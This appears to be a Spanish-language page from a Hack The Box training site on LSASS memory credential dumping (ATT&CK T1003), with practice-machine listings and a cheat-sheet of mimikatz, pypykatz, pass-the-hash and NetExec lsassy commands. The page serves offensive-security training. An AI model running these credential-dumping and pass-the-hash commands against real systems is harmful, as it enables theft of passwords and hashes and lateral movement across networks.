Memoria de LSASS
Subtécnica de T1003 Volcado de credenciales del sistema ↗
Leer la memoria del proceso LSASS para sacar hashes, tickets y a veces contraseñas en claro.
Cómo aparece en Hack The Box
Requiere administrador local o SeDebugPrivilege. Desde Linux, NetExec con lsassy o nanodump evita subir mimikatz; un volcado .dmp se lee offline con pypykatz.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
Guías
- Volcado de credenciales en Windows: SAM, LSA, LSASS, DPAPI y NTDS.dit 4 min de lectura Dónde guarda Windows las credenciales y cómo sacarlas: SAM y SYSTEM, secretos LSA, LSASS con lsassy o pypykatz, DPAPI y NTDS.dit con SeBackup.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Mimikatz › Credenciales
Contraseñas y hashes de LSASS
Víctima
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Leer un volcado de LSASS en Linux con pypykatz
pypykatz lsa minidump lsass.dmpMimikatz › Dominio
Pass the hash (abre un proceso con esa identidad)
Víctima
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"NetExec (nxc) › Siendo administrador
LSASS con lsassy
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -M lsassyNingún comando coincide.